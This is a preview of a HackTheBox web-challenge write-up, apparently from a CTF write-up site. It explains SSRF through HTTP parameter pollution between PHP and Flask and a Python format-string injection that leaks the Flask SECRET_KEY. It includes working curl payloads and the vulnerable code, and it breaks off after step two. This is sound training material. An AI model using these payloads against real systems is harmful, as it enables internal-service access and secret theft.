Offlinea
HackTheBox
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
$ ls tags/ techniques/
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Offlinea - HackTheBox
Description
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
Architecture
Two-service architecture:
- PHP Frontend (
bartender.phpon port 8000) - Accepts URL, name, secret parameters with SSRF protection - Flask Backend (
app.pyon port 5000) - Internal service with endpoints:/generate- Visits URLs with Selenium, stores in database/bartender- Returns secrets (requires JWT withis_admin=true)/logs- Shows URL history with format string vulnerability
Analysis
Vulnerability 1: SSRF via HTTP Parameter Pollution (HPP)
PHP and Flask handle multiple URL parameters differently:
- PHP uses the LAST value:
$_GET['url'] - Flask uses the FIRST value:
request.args.get('url')
This allows bypassing PHP's SSRF protection while making Flask visit internal URLs.
Vulnerability 2: Python Format String Injection
In the logify() function:
def logify(rec): history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec] history_1 = row_separator.join(history) log = history_1.format(logify=logify) # VULNERABLE! return log
URLs stored in history are formatted with .format(), allowing format string injection like {logify.__globals__}.
Vulnerability 3: JWT Secret Key Leak
The Flask app's SECRET_KEY can be leaked via format string: {logify.__globals__[app].config}
Solution
Step 1: SSRF Bypass via Parameter Pollution
curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs&url=http://info.cern.ch/&name=test&secret=test"
- PHP validates
info.cern.ch(passes SSRF checks - public IP, TTL >= 40) - Flask visits
127.0.0.1:5000/logs(internal service)
Step 2: Format String Injection to Leak SECRET_KEY
# URL encode the format string payload PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{logify.__globals__[app].config}'))") curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs?$PAYLOAD&url=http://info.cern.ch/&name=test&secret=test"
...
$ grep --similar
Similar writeups
- [web][free]DoxPit— hackthebox
- [misc][free]Prometheon— HackTheBox
- [web][free]Prison Pipeline— hackthebox_business_ctf_2024
- [web][Pro]Состояние 0x7F— hackerlab
- [misc][free]rag-poisoning— umdctf